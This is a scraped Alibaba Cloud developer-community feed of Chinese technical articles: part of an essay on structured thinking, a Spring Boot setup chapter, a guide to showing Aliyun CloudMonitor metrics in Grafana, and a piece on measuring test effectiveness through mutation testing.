        有的时候当我们找到一个觉得可以深耕的方向 & 机会的时候,脑子里面也许就已经有了大致的思路和方案,这时候可能会迫不及待的就想要开工,陷入了各种技术方案的细节之中,这样的坏处在于可能会导致我们做着做着偏离了主航道,导致最后的产出不理想。这里我们需要有一套理论和方法来保证对问题理解是准确的,完整的 & 足够高度的。这个块有没有方法和套路呢,答案是:有!那就是养成结构化思考和做事方式。
        结构化的思维
        1.建立核心目标:当我们在面对一个问题和挑战(挑战即机会)的时候,需要明确我们做这个事情的核心目标是什么,建立问题的核心目标。举个简单的列子,比如在开发中遇到了项目编译慢的问题, 目标可以定义为解决项目编译问题,但是我们也可以升华一层为提升整个开发流程的效能,这时的核心目标就是是对整个开发流程进行提效。进一步升华的目的是为了提升整个事情的价值和解决问题的覆盖面。
        2.进行目标拆解:这里可以根据不同的场景选择不同的逻辑顺序(时间/结构/程度)来进行拆解,比如开发提效这个目标我们就可以按开发的时间顺序来进行拆解,比如: 本地开发&调试-> 联调 -> 预发验证->发布上线等。这里面需要关注的点就是需要做到拆解的完备和独立,拆解出来的子项能够做到相互独立和完整。
        时间顺序:中心执行的步骤、流程等。

        结构顺序:中心的空间、地理位置、内部外部条件等。

        程度顺序:中心的轻重缓急、重要性等。

        3.子项的清理:事业是无限的,人力总是有穷、认知高度总是不够(from 承风),所以这里需要做到取舍并不是所有的子项都是值得在现阶段做或者需要花费较大成本去做的。需要抓住其中的核心子项,也就是核心抓手。

        小结
        这里我建议大家可以直接阅读下《金字塔原理》一书(我自己也在学习中)和一些职业发展的其他书籍,补充自己除了技术方面之外一些思考和项目管理&人际沟通等方面的知识,当然书和文章都是理论知识,还是需要在工作当中千锤百炼的去修炼这种思考和做事的方式,才能体现出它的价值。这块我目前也在不断的在工作中尝试中,等后续如果有较多的体会和经验了再来分享。

        最后
        以上就是我在这几年摸爬滚打出的一些经验,借此机会也在这里感谢下我的老板和帮助过我的朋友,你们一直都是我学习和参考的榜样。

        文章来源:AlibabaTechQA
        开发者社区整理

        ]]>
        带你读《Spring Cloud微服务:入门、实战与进阶》之二:实战前的准备工作-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        实战前的准备工作
        工欲善其事,必先利其器。在开始学习之前,最重要的事情就是准备开发环境了,各位读者需要准备 JDK1.8、Maven3.3.3、Spring Tools 4 for Eclipse。为了保证读者在实践的时候所用及所见跟本书介绍的一样,建议大家的环境跟本书所用的一致。本书适合有一定开发经验的朋友,故在环境配置这块不会讲得太细,都是一些非常基础的东西。当然,每个人的开发环境在某些方面肯定是不一样的,比如有的人用Windows,有的人用Mac,有什么问题大家可以直接联系笔者,或者上网查资料。

        2.1 开发环境的准备

        开发环境的准备主要涉及三个方面:JDK、Maven、Spring Tools 4 for Eclipse。
        1. JDK
        JDK 的版本用1.8即可,环境变量大家自行去配置。配置好环境变量,在命令行中输入“java –version”能够显示出版本信息即可。笔者这边用的是 Mac 的命令行,Windows 上面用 cmd。

        image.png

        2. Maven
        Maven 是用于项目构建的,本书所用的版本是 3.3.3。安装完之后也需要配置环境变量,配置好后同样需要在命令行中输入“mvn –version”进行检测。

        image.png

        3. Spring Tools 4 for Eclipse
        大家可以选择自己熟悉的开发工具,不一定要用Spring Tools 4 for Eclipse,Spring Tools 4 for Eclipse下载的地址:http://spring.io/tools
        下载完成后,还需要安装Lombok插件,本书的示例代码会采用Lombok来简化get,set方法。安装方式可参考http://cxytiandi.com/blog/detail/6813

        2.2 Spring Boot入门

        Spring Cloud 基于 Spring Boot 搭建,本节会简单介绍一下 Spring Boot 的使用方法,如需学习更多 Spring Boot 相关的内容,可以关注笔者的微信公众号“猿天地”,获取更多
        信息。

        2.2.1 Spring Boot简介

        Spring Boot 是由 Pivotal 团队提供的全新框架,其设计目的是简化新 Spring 应用的初始搭建以及开发过程。该框架使用了特定的方式进行配置,从而使开发人员不再需要定义样板化的配置。Spring Boot 致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。
        在使用 Spring Boot 之前,我们需要搭建一个项目框架并配置各种第三方库的依赖,还需要在 XML 中配置很多内容。Spring Boot 完全打破了我们之前的使用习惯,一分钟就可以创建一个 Web 开发的项目;通过 Starter 的方式轻松集成第三方的框架;去掉了XML 的配置,全部用注解代替。
        Spring Boot Starter 是用来简化 jar 包依赖的,集成一个框架只需要引入一个Starter,然后在属性文件中配置一些值,整个集成的过程就结束了。不得不说,Spring Boot 在内部做了很多的处理,让开发人员使用起来更加简单了。
        下面笔者总结了一些使用 Spring Boot 开发的优点:

        • 基于 Spring 开发 Web 应用更加容易。
        • 采用基于注解方式的配置,避免了编写大量重复的 XML 配置。
        • 可以轻松集成 Spring 家族的其他框架,比如 Spring JDBC、Spring Data 等。
        • 提供嵌入式服务器,令开发和部署都变得非常方便。

        2.2.2 搭建Spring Boot项目

        在Spring Tools 4 for Eclipse中依次选择 File -> New -> Maven Project,然后在出现的界面中按图2-1 所示增加相关信息。
        完了上述操作之后,在 pom.xml 中添加 Spring Boot 的依赖,如代码清单 2-1 所示。编写启动类,如代码清单 2-2 所示。

        image.png

        image.png

        启动类使用了 @SpringBootApplication 注解,这个注解表示该类是一个 Spring Boot 应用。直接运行 App 类即可启动,启动成功后在控制台输出信息,默认端口是 8080。
        Tomcat started on port(s): 8080 (http)
        可以看到,我们只在 pom.xml 中引入了一个 Web 的 Starter,然后创建一个普通的 Java 类,一个 Main 方法就可以启动一个 Web 项目。与之前的使用方式相比,这种方式简单很多。以前需要配置各种 Spring 相关的包,还需要配置 web.xml 文件,还需要将项目放入Tomcat 中去执行,搭建项目的过程还特别容易出错,会出现各种 jar 包冲突。有了 Spring Boot 后这些问题都解决了。
        我们之所以能够通过一个 Main 方法启动一个 Web 服务,是因为 Sprig Boot 中内嵌了 Tomcat,然后通过内嵌的 Tomcat 来提供服务。当然,我们也可以使用别的容器来替换 Tomcat, 比如 Undertow 或 Jetty。
        Spring Tools 4 for Eclipse还为我们提供了更加便捷的项目创建方式,在File -> New选项中有Spring Starter Project,可以直接选择Spring Boot的版本以及需要依赖的第三方包,直接生成Spring Boot项目,不用再去手动配置Maven依赖。这个功能和https://start.spring.io/提供的是同一个功能,方便快速搭建Spring Boot项目脚手架。

        2.2.3 编写第一个REST接口

        本节将创建一个控制器,编写第一个 REST 接口,访问地址使用 /hello,如代码清单 2-3 所示。

        image.png

        @RestController 是 @Controller 和 @ResponseBody 的组合注解,可以直接返回 Json 格式数据。@GetMapping 其实就是 @RequestMapping(method = RequestMethod.GET),通过访问http://localhost:8080/hello 可以看到输出的结果“ hello ”。

        2.2.4 读取配置文件

        在以前的项目中我们主要在 XML 文件中进行框架配置,业务的相关配置会放在属性文件中,然后通过一个属性读取的工具类来读取配置信息。在 Spring Boot 中我们不再需要使用这种方式去读取数据了。Spring Boot 中的配置通常放在 application.properties 中,读取配置信息非常方便,总共分为 3 种方式。
        (1)Environment:可以通过 Environment 的 getProperty 方法来获取想要的配置信息, 如代码清单 2-4 所示。

        image.png

        (2)@Value:可以注入具体的配置信息,如代码清单 2-5 所示。

        image.png

        (3)自定义配置类:prefix 定义配置的前缀,如代码清单 2-6 所示。

        image.png
        image.png

        读取配置的方法如代码清单 2-7 所示。

        image.png

        定义配置 application.properties 的方法如下:
        com.cxytiandi.name=yinjihuan

        2.2.5 profiles多环境配置

        在平时的开发中,项目会被部署到测试环境、生产环境,但是每个环境的数据库地址等配置信息都是不一样的。通过 profile 来激活不同环境下的配置文件就能解决配置信息不一样的问题。在 Spring Boot 中可以通过 spring.pro?les.active=dev 来激活不同环境下的配置。
        可以定义多个配置文件,每个配置文件对应一个环境,格式为application-环境.properties,如表2-1所示。

        image.png

        在开发环境中,可以通过修改 application.properties 中的 spring.profiles.active 的值来激活对应环境的配置,在部署的时候可以通过 java –jar xxx.jar --spring.profiles.active=dev 来指定使用对应的配置。

        2.2.6 热部署

        开发过程中经常会改动代码,此时若想看下效果,就不得不停掉项目然后重启。对于 Spring Boot 项目来说,启动时间是非常快的,在微服务的架构下,每个服务只关注自己的业务,代码量也非常小,这个启动时间是可以容忍的。对于那些臃肿的单体老项目,启动时间简直是浪费生命。虽然 Spring Boot 启动很快,但是我们还是要自己去重启。能不能做到有改动,它就会悄无声息地自己把改动的地方重新加载一遍?答案是肯定的,通过 spring-boot-devtools 就可以实现。
        只需要添加 spring-boot-devtools 的依赖即可实现热部署功能,如代码清单 2-8 所示。

        image.png

        注意:在 IDEA 中就算加了插件也是没有效果的,需要开启自动编译功能,开启方法如下:首先,如图2-2 所示进行操作。

        image.png

        然后,同时按下Shift+Ctrl+Alt+/,选择 Registry,如图2-3 所示。
        最后,重启 IDEA 就可以了。
        配置完热部署后,只要我们有保存操作,Spring Boot就会自动重新加载被修改的Class,我们再也不用手动停止、启动项目了。

        image.png

        2.2.7 actuator监控

        Spring Boot 提供了一个用于监控和管理自身应用信息的模块,它就是 spring-boot- starter-actuator。该模块使用起来非常简单,只需要加入依赖即可,如代码清单 2-9 所示。

        image.png

        启动项目我们会发现在控制台输出的内容中增加了图2-4 所示的信息。
        图2-4 所示的这些信息是 Actuator 模块提供的端点信息,具体如表 2-2 所示,通过访问这些端点我们可以得到很多监控信息。
        比如,我们访问/actuator/health可以得到下面的信息:
        {

        "status": "UP"

        }

        image.png

        UP表示当前应用处于健康状态,如果是DOWN就表示当前应用不健康。增加下面的配置可以让一些健康信息的详情也显示出来:
        management.endpoint.health.show-details=ALWAYS
        再次访问 /actuator/health,就可以得到健康状态的详细信息:
        {

        "status": "UP",
        "diskSpace": {
            "status": "UP",
            "total": 491270434816,
            "free": 383870214144,
            "threshold": 10485760
        }

        }
        大部分端点默认都不暴露出来,我们可以手动配置需要暴露的端点。如果需要暴露多个端点,可以用逗号分隔,如下所示:
        management.endpoints.web.exposure.include=configprops,beans
        如果想全部端点都暴露的话直接配置成下面的方式:
        management.endpoints.web.exposure.include=*
        关于这些监控的信息不再赘述,大家可以自行了解。后面我们会介绍如何使用Spring Boot Admin 在页面上更加直观地展示这些信息,目前都是Json格式的数据,不方便查看。

        2.2.8 自定义actuator端点

        在很多场景下,我们需要自定义一些规则来判断应用的状态是否健康,可以采用自定义端点的方式来满足多样性的需求。如果我们只是需要对应用的健康状态增加一些其他维度的数据,可以通过继承AbstractHealthIndicator来实现自己的业务逻辑。如代码清单 2-10 所示。

        image.png

        通过up方法指定应用的状态为健康,down方法指定应用的状态为不健康。withDetail方法用于添加一些详细信息。
        访问 /actuator/health,可以得到我们自定义的健康状态的详细信息:
        {

        "status": "UP", 
        "details": {
            "user": {
                "status": "UP", 
                "details": {
                    "status": true
                }
            }, 
            "diskSpace": {
                "status": "UP", 
                "details": {
                    "total": 249795969024, 
                    "free": 7575375872, 
                    "threshold": 10485760
                }
            }
        }

        }
        上面我们是在框架自带的health端点中进行扩展,还有一种需求是完全开发一个全新的端点,比如查看当前登录的用户信息的端点。自定义全新的端点很简单,通过@Endpoint注解就可以实现。如代码清单 2-11 所示。

        image.png

        访问/actuator/user可以看到返回的用户信息如下:
        [

        {
            "userName": "yinjihuan", 
            "userId": 1001
        }

        ]

        2.2.9 统一异常处理

        对于接口的定义,我们通常会有一个固定的格式,比如:
        {

        "status": true,
        "code": 200,
        "message": null,
        "data": [
            {
                "id": "101",
                "name": "jack"
            },
            {
                "id": "102",
                "name": "jason"
            }
        ]

        }
        但是,如果调用方在请求我们的 API 时把接口地址写错了,就会得到一个 404 错误:
        {

        "timestamp": 1492063521109, 
        "status": 404,
        "error": "Not Found",
        "message": "No message available",
        "path": "/rest11/auth"

        }
        后端服务会告诉我们哪个地址没找到,其实也挺友好。但是因为我们上面自定义的数据格式跟下面的不一致,所以当用户拿到这个返回的时候是无法识别的,其中最明显的是status 字段。我们自定义的是 boolean 类型,用来表示请求是否成功,这里返回的就是 Http 的状态码,所以我们需要在发生这种系统错误时也能返回我们自定义的那种格式,那就要定义一个异常处理类(见代码清单 2-12),通过这个类既可以返回统一的格式,也可以统一记录异常日志。

        image.png

        ResponseData 是我们返回格式的实体类,其发生错误时也会被捕获到,然后封装好返回格式并返回给调用方。最后关键的一步是,在 Spring Boot 的配置文件中加上代码清单2-13 所示配置。

        image.png

        然后当我们调用一个不存在的接口时,返回的错误信息就是我们自定义的那种格式了:
        {

        "status": false, "code": 404,
        "message": "No handler found for GET /rest11/auth", "data": null

        }
        最后贴上 ResponseData 的定义,如代码清单 2-14 所示。

        image.png

        2.2.10 异步执行

        异步调用就是不用等待结果的返回就执行后面的逻辑;同步调用则需要等待结果再执行后面的逻辑。
        通常我们使用异步操作时都会创建一个线程执行一段逻辑,然后把这个线程丢到线程池中去执行,代码如代码清单 2-15 所示。

        image.png

        这种方式尽管使用了Java的Lambda,但看起来没那么优雅。在Spring中有一种更简单的方式来执行异步操作,只需要一个 @Async 注解即可,如代码清单 2-16 所示。

        image.png

        我们可以直接在 Controller 中调用这个业务方法,它就是异步执行的,会在默认的线程池中去执行。需要注意的是,一定要在外部的类中去调用这个方法,如果在本类调用则不起作用,比如 this.saveLog()。最后在启动类上开启异步任务的执行,添加 @ EnableAsync 即可。
        另外,关于执行异步任务的线程池我们也可以自定义,首先我们定义一个线程池的配置类,用来配置一些参数,具体代码如代码清单 2-17 所示。

        image.png

        然后我们重新定义线程池的配置,如代码清单 2-18 所示。

        image.pngimage.png

        配置完之后我们的异步任务执行的线程池就是我们自定义的了,我们可以在属性文件里面配置线程池的大小等信息,也可以使用默认的配置:
        spring.task.pool.maxPoolSize=100
        最后讲一下线程池配置的拒绝策略。当我们的线程数量高于线程池的处理速度时,任务会被缓存到本地的队列中。队列也是有大小的,如果超过了这个大小,就需要有拒绝的策略,不然就会出现内存溢出。目前支持两种拒绝策略:

        • AbortPolicy:直接抛出 java.util.concurrent.RejectedExecutionException 异常。
        • CallerRunsPolicy:主线程直接执行该任务,执行完之后尝试添加下一个任务到线程池中,这样可以有效降低向线程池内添加任务的速度。

        建议大家用CallerRunsPolicy 策略,因为当队列中的任务满了之后,如果直接抛异常, 那么这个任务就会被丢弃。如果是 CallerRunsPolicy 策略,则会用主线程去执行,也就是同步执行,这样操作最起码任务不会被丢弃。

        2.2.11 随机端口

        在实际的开发过程中,每个项目的端口都是定好的,通过 server.port 可以指定端口。当一个服务想要启动多个实例时,就需要改变端口,特别是在我们后面进行 Spring Cloud 学习的时候,服务都会注册到注册中心里去,为了能够让服务随时都可以扩容,在服务启动的时候能随机生成一个可以使用的端口是最好不过的。在 Spring Boot 中,可以通过${random} 来生成随机数字,我们可以这样使用:
        server.port=${random.int[2000,8000]}
        通过 random.int 方法,指定随机数的访问,生成一个在 2000 到 8000 之间的数字,这样每次启动的端口就都不一样了。
        其实上面的方法虽然能够达到预期的效果,但是也会存在一些问题:如果这个端口已经在使用了,那么启动必然会报错。所以我们可以通过代码的方式来随机生成一个端口,然后检测是否被使用,这样就能生成一个没有被使用的端口。
        编写一个启动参数设置类,如代码清单 2-19 所示。

        image.png

        通过对启动参数进行遍历判断,如果有指定启动端口,后续就不自动生成了;如果没有指定,就通过 ServerPortUtils 获取一个可以使用的端口,然后设置到环境变量中。在application.properties 中通过下面的方式获取端口:
        server.port=${server.port}
        关于获取可用端口的代码如代码清单 2-20 所示。

        image.png

        获取可用端口的主要逻辑是指定一个范围,然后生成随机数字,最后通过 NetUtils 来检查端口是否可用。如果获取到可用的端口则直接返回,没有获取到可用的端口则执行回调逻辑,重新获取。检测端口是否可用主要是用 Socket 来判断这个端口是否可以被链接。相关的代码就不贴了,大家可以参考笔者 GitHub 上的示例代码。
        最后在启动类中调用端口即可使用,如代码清单 2-21 所示。

        image.png

        2.2.12 编译打包

        传统的Web项目在部署的时候,是编译出一个war包放到Tomcat的webapps目录下。而在Spring Boot构建的Web项目中则打破了这一传统部署的方式,它采用更加简单的内置容器方式来部署应用程序,只需要将应用编译打包成一个jar包,直接可以通过java –jar命令启动应用。
        在项目的pom.xml中增加打包的Maven插件,如代码清单 2-22 所示。

        image.png

        mainClass配置的是我们的启动入口类,配置完成后可以通过Maven的mvn clean package命令进行编译打包操作。编译完成后在target目录下会生成对应的jar包,部署的时候直接调用java –jar xx.jar即可启动应用。

        2.3 Spring Boot Starter自定义

        Spring Boot的便利性体现在,它简化了很多烦琐的配置,这对于开发人员来说是一个福音,通过引入各种Spring Boot Starter包可以快速搭建出一个项目的脚手架。
        目前提供的Spring Boot Starter包有:

        • spring-boot-starter-web:快速构建基于Spring MVC的Web项目,使用Tomcat做默认嵌入式容器。
        • spring-boot-starter-data-redis:操作Redis。
        • spring-boot-starter-data-mongodb:操作Mongodb。
        • spring-boot-starter-data-jpa:操作Mysql。
        • spring-boot-starter-activemq:操作Activemq。
        • ……

        自动配置非常方便,当我们要操作Mongodb的时候,只需要引入spring-boot-starter-data-mongodb的依赖,然后配置Mongodb的链接信息 spring.data.mongodb.uri = mongodb://localhost/test就可以使用MongoTemplate来操作数据,MongoTemplate的初始化工作全部交给Starter来完成。
        自动配置麻烦的是当出现错误时,排查问题的难度上升了。自动配置的逻辑都在Spring Boot Starter中,要想快速定位问题,就必须得了解Spring Boot Starter的内部原理。接下来我们自己动手来实现一个Spring Boot Starter。

        2.3.1 Spring Boot Starter项目创建

        创建一个项目spring-boot-starter-demo,pom.xml配置如代码清单 2-23 所示。

        image.png

        创建一个配置类,用于在属性文件中配置值,相当于spring.data.mongo这种形式,如代码清单2-24所示。

        image.png

        @ConfigurationProperties指定了配置的前缀,也就是spring.user.name=XXX
        再定义一个Client,相当于MongoTemplate,里面定一个方法,用于获取配置中的值, 如代码清单 2-25 所示。

        image.png

        2.3.2 自动创建客户端

        一个最基本的Starter包定义好了,但目前肯定是不能使用UserClient ,因为我们没有自动构建UserClient 的实例。接下来开始构建UserClient,如代码清单 2-26 所示。

        image.pngimage.png

        Spring Boot会默认扫描跟启动类平级的包,假如我们的Starter跟启动类不在同一个主包下,如何能让UserAutoConfigure 生效?
        在resources下创建一个META-INF文件夹,然后在META-INF文件夹中创建一个spring.factories文件,文件中指定自动配置的类:
        org.springframework.boot.autoconfigure.EnableAutoConfiguration=
        com.cxytiandi.demo.UserAutoConfigure
        Spring Boot启动时会去读取spring.factories文件,然后根据配置激活对应的配置类,至此一个简单的Starter包就实现了。

        2.3.3 使用Starter

        现在可以在其他的项目中引入这个Starter包,如代码清单 2-27 所示。

        image.png

        引入之后就直接可以使用UserClient,UserClient 在项目启动的时候已经自动初始化好, 如代码清单 2-28 所示。

        image.png

        属性文件中配置name的值和开启UserClient:
        spring.user.name=yinjihuan
        spring.user.enabled=true
        访问/user/name就可以返回我们配置的yinjihuan。

        2.3.4 使用注解开启Starter自动构建

        很多时候我们不想在引入Starter包时就执行初始化的逻辑,而是想要由用户来指定是否要开启Starter包的自动配置功能,比如常用的@EnableAsync这个注解就是用于开启调用方法异步执行的功能。
        同样地,我们也可以通过注解的方式来开启是否自动配置,如果用注解的方式,那么spring.factories就不需要编写了,下面就来看一下怎么定义启用自动配置的注解,如代码清单 2-29 所示。

        image.png

        这段代码的核心是@Import({UserAutoConfigure.class}),通过导入的方式实现把UserAutoConfigure实例加入SpringIOC容器中,这样就能开启自动配置了。
        使用方式就是在启动类上加上该注解,如代码清单 2-30 所示。

        image.png

        2.3.5 使用配置开启Starter自动构建

        在某些场景下,UserAutoConfigure中会配置多个对象,对于这些对象,如果不想全部配置,或是想让用户指定需要开启配置的时候再去构建对象,这个时候我们可以通过@ConditionalOnProperty来指定是否开启配置的功能,如代码清单 2-31 所示。

        image.png

        通过上面的配置,只有当启动类加了@EnableUserClient并且配置文件中spring.user.enabled=true的时候才会自动配置UserClient。

        2.3.6 配置Starter内容提示

        在自定义Starter包的过程中,还有一点比较重要,就是对配置的内容项进行提示,需要注意的是,Eclipse中是不支持提示的,Spring Tools 4 for Eclipse中可以提示,如图2-5所示:

        image.png

        定义提示内容需要在META-INF中创建一个spring-configuration-metadata.json文件, 如代码清单 2-32 所示。

        image.png

        • name:配置名
        • type:配置的数据类型
        • defaultValue:默认值

        2.4 本章小结

        本章带领大家学习了 Spring Boot 框架。Spring Boot 是构建 Spring Cloud 的基础,无论你是否要使用 Spring Cloud 来构建微服务,Spring Boot 都是 Web 开发的首选框架。从下章开始我们将正式进入 Spring Cloud 的世界,大家首先会学习到 Spring Cloud Eureka 服务注册中心。

        ]]>
        使用 Grafana 展示阿里云监控指标-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言

        对于阿里云用户来说,阿里云监控是一个很不错的产品,首先它在配额内使用是免费的!免费的!免费的!重要的事情说三遍。他的功能类似于 zabbix,但是比 zabbix 提供了更多的监控项,基本上在云上使用的资源都可以通过云监控来实时监控。而它提供的开箱即用方式,天然集成云资源,并提供多种告警方式,免去了监控与告警系统搭建与维护的繁琐,并且减少了资源的消耗,比购买 ECS 自己搭建 zabbix 要少消耗很多资源。同时阿里云监控和阿里云其他服务一样,也提供了比较完整的 OpenApi 以及各种语言的 sdk,可以基于阿里云的 OpenApi 将其与自己的系统集成。我们之前也是这么做的,但是随着监控项的增加,以及经常需要在办公场地监控投屏的专项监控页,光凭我们的运维开发工程师使用 vue 写速度明显跟不上,而且页面的美观程度也差很多。

        手写前端 VS Grafana

        手写前端虽然可定制化程度更高,但是需要消耗大量精力进行调试,对于运维人员,哪怕是运维开发也是吃不消的(前端小哥哥和小姐姐是不会来帮你的,下图就是我去年拿 vue 写的伪 Grafana 展示页面,花费了大约一周时间在调整这些前端元素)。
        image

        Grafana 则标准化程度很高,展示也更加符合大众审美,某些定制化需求可以通过自定义 DataSource 或者 AJAX 插件的 iframe 模式完成。开发后端 DataSource 肯定就没有前端调整 css 那么痛苦和耗时了,整体配置开发一个这样的页面可能只消耗一人天就能完成。而在新产品上线时,构建一个专项监控展示页面速度就更快了,几分钟内就能完成。
        image

        关于阿里云监控

        云监控(CloudMonitor)是一项针对阿里云资源和互联网应用进行监控的服务。

        云监控为云上用户提供开箱即用的企业级开放型一站式监控解决方案。涵盖 IT 设施基础监控,外网网络质量拨测监控,基于事件、自定义指标、日志的业务监控。为您全方位提供更高效、更全面、更省钱的监控服务。通过提供跨产品、跨地域的应用分组管理模型和报警模板,帮助您快速构建支持几十种云产品、管理数万实例的高效监控报警管理体系。通过提供 Dashboard,帮助您快速构建自定义业务监控大盘。使用云监控,不但可以帮助您提升您的系统服务可用时长,还可以降低企业 IT 运维监控成本。

        云监控服务可用于收集获取阿里云资源的监控指标或用户自定义的监控指标,探测服务可用性,以及针对指标设置警报。使您全面了解阿里云上的资源使用情况、业务的运行状况和健康度,并及时收到异常报警做出反应,保证应用程序顺畅运行。

        关于 Grafana

        Grafana 是一个跨平台的开源的度量分析和可视化工具,可以通过将采集的数据查询然后可视化的展示,并及时通知。由于云监控的 Grafana 还没有支持告警,所以我们这里只用了 Grafana 的可视化功能,而告警本身就是云监控自带的,所以也不需要依赖 Grafana 来实现。而我们的 Prometheus 也使用了 Grafana 进行数据可视化,所以有现成的 Grafana-Server 使用。

        阿里云监控对接 Grafana

        首先 Grafana 服务的部署方式这里就不做介绍了,请使用较新版本的 Grafana,最好是 5.5.0+。后文中也有我开源的基于阿里云云监控的 Grafana 的 helm chart,可以使用 helm 安装,并会直接导入云监控的指标,这个会在后文中介绍。

        安装阿里云监控插件

        进入插件目录进行安装

        cd /var/lib/grafana/plugins/
        git clone https://github.com/aliyun/aliyun-cms-grafana.git 
        service grafana-server restart

        如果是使用 docker 或者部署在 k8s 集群,这里也可以使用环境变量在 Grafana 部署的时候进行安装

        ...
        spec:
          containers:
          - env:
            - name: GF_INSTALL_PLUGINS  # 多个插件请使用,隔开
              value: grafana-simple-json-datasource,https://github.com/aliyun/aliyun-cms-grafana/archive/master.zip;aliyun-cms-grafana
        ...

        您也可以下载 aliyun-cms-grafana.zip 插件解压后,上传服务器的 Grafana 的 plugins 目录下,重启 grafana-server 即可。

        配置云监控 DataSource

        1. Grafana 启动后,进入 Configuration 页面,选择 DataSource Tab 页,单击右上方的Add data source,添加数据源。
        2. 选中CMS Grafana Service,单击select
          image
        3. 填写配置项,URL 根据云监控所在地域填写,并且填写阿里云账号的 accessKeyId 和 accessSecret,完成后单击Save&Test
          image

        创建 Dashboard

        1. 单击 Create -> Dashboard -> Add Query
        2. 配置图标,数据源选择之前添加的 CMS Grafana Service,然后文档中的配置项填入指标即可(这里要注意的是,云监控 API 给返回的只有实例 ID,并没有自定义的实例名称,这里需要手动将其填入 Y - column describe 中;而且只支持输入单个 Dimension,若输入多个,默认选第一个,由于这些问题才有了后续我开发的 cms-grafana-builder 的动机)。
          image
        3. 配置参考 云产品监控项
          image

        使用 helm chart 的方式部署 Grafana

        项目地址:https://github.com/sunny0826/cms-grafana-builder

        cms-grafana-builder

        由于上文中的问题,我们需要手动选择每个实例 ID 到 Dimension 中,并且还要讲该实例的名称键入 Y - column describe 中,十分的繁琐,根本不可能大批量的输入。

        这就是我开发这个 Grafana 指标参数生成器的原因,起初只是一个 python 脚本,用来将我们要监控的指标组装成一个 Grafana 可以使用 json 文件,之后结合 Grafana 的容器化部署方法,将其做成了一个 helm chart。可以在启动的时候自动将需要的参数生成,并且每日会对所有指标进行更新,这样就不用每次新购或者释放掉资源后还需要再跑一遍脚本。

        部署

        只需要将项目拉取下来运行 helm install 命令

        helm install my-release kk-grafana-cms 
        --namespace {your_namespace} 
        --set access_key_id={your_access_key_id} 
        --set access_secret={your_access_secret} 
        --set region_id={your_aliyun_region_id} 
        --set password={admin_password}

        更多详情见 github README,欢迎提 issue 交流。

        指标选择

        在部署成功后,可修改 ConfigMap:grafana-cms-metric,然后修改对应的监控指标项。

        效果

        ECS:

        RDS:

        EIP:

        Redis:

        后记

        为了满足公司需求,后续还开发 DataSource 定制部分,用于公司监控大屏的展示,这部分是另一个项目,不在这个项目里,就不细说了,之后有机会总结后再进行分享。

        ]]>
        你每天跑这么多自动化用例,能发现BUG吗?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 什么是测试用例的有效性?

        我们的测试用例有两个比较关键的部分:

        1)调用被测代码:例如下面的RuleService.getLastRuleByClientId(ClientId)

        2)进行结果Check:例如下面的AssertEqual(OrderId,"ABCD1234")

        2.png

        我们希望一组测试用例不仅能够“触发被测代码的各种分支”,还能够做好结果校验。

        • 当业务代码出现问题的时候,测试用例可以发现这个问题,我们就认为这一组测试用例是有效的。
        • 当业务代码出现问题的时候,测试用例没能发现这个问题,我们就认为这一组测试用例是无效的。

        我们对测试用例有效性的理论建模是:

        >> 测试有效性 = 被发现的问题数 / 出现问题的总数

        为什么要评估测试用例的有效性?

        1-1.png

        测试用例有效性评估的方法?
        基于故障复盘的模式成本太高,我们希望能够主动创造问题来评估测试用例的有效性。

        我们找到了一种衡量“测试有效性”的方法,变异测试(mutation testing)

        1-2.png

        变异测试的例子

        1-3.png

        通过变异测试的方式:让注入变异后的业务代码作为“测试用例”,来测试“测试代码”。

        我们实现了多种规则,可以主动的注入下面这些变异:

        4  .。.png

        如何优雅的评估测试有效性?

        为了全自动的进行测试有效性评估,我们做了一个变异机器人,其主要运作是:

        • 往被测代码中写入一个BUG(即:变异)
        • 执行测试
        • 把测试结果和无变异时的测试结果做比对,判断是否有新的用例失败
        • 重复1-3若干次,每次注入一个不同的Bug
        • 统计该系统的“测试有效性”

        5.png

        变异机器人的优点:

        防错上线:变异是单独拉代码分支,且该代码分支永远不会上线,不影响生产。

        全自动:只需要给出系统代码的git地址,即可进行评估,得到改进报告。

        高效:数小时即可完成一个系统的测试有效性评估。

        扩展性:该模式可以支持JAVA以及JAVA以外的多种语系。

        适用性:该方法不仅适用于单元测试,还适用于其他自动化测试,例如接口测试、功能测试、集成测试。

        变异机器人的使用门槛:

        测试成功率:只会选择通过率100%的测试用例,所对应的业务代码做变异注入。

        测试覆盖率:只会注入被测试代码覆盖的业务代码,测试覆盖率越高,评估越准确。

        高配版变异机器人

        我们正在打造的高配版变异机器人拥有**三大核心竞争力
        **

        分钟级的系统评估效率

        为了保证评估的准确性,100个变异将会执行全量用例100遍,每次执行时间长是一大痛点。

        高配版变异机器人给出的解法:

        并行注入:基于代码覆盖率,识别UT之间的代码覆盖依赖关系,将独立的变异合并到一次自动化测试中。

        热部署:基于字节码做更新,减少变异和部署的过程。

        精准测试:基于UT代码覆盖信息,只运行和本次变异相关的UT(该方法不仅适用于UT,还适用于其他自动化测试,例如接口测试、功能测试、集成测试)

        学习型注入经验库

        为了避免“杀虫剂”效应,注入规则需要不断的完善。

        高配版变异机器人给出的解法:故障学习,基于故障学习算法,不断学习历史的代码BUG,并转化为注入经验。可学习型经验库目前覆盖蚂蚁金服的代码库,明年会覆盖开源社区。

        兼容不稳定环境

        集成测试环境会存在一定的不稳定,难以判断用例失败是因为“发现了变异”还是“环境出了问题”,导致测试有效性评估存在误差。

        高配版变异机器人给出的解法:

        高频跑:同样的变异跑10次,对多次结果进行统计分析,减少环境问题引起的偶发性问题。

        环境问题自动定位:接入附属的日志服务,它会基于用例日志/系统错误日志构建的异常场景,自动学习“因环境问题导致的用例失败”,准确区分出用例是否发现变异。

        落地效果如何?

        我们在蚂蚁金服的一个部门进行了实验,得出了这样的数据:

        10.png

        换言之,几个系统的测试有效性为:系统A 72%,系统B 56%,系统C 70%

        测试有效性(%) = 1 - 未发现注入数 / 注入数

        更多的测试有效性度量手段

        基于代码注入的测试有效性度量,只是其中的一种方法,我们日常会用到的方法有这么几种:

        代码注入:向代码注入变异,看测试用例是否能发现该问题

        内存注入:修改API接口的返回内容,看测试用例是否能发现该问题

        静态扫描:扫描测试代码里是否做了Assert等判断,看Assert场景与被测代码分支的关系

        ... 还有更多其他的度量手段

        Meet the testcase again

        测试有效性可以作为基石,驱动很多事情向好发展:

        • 让测试用例变得更能发现问题。
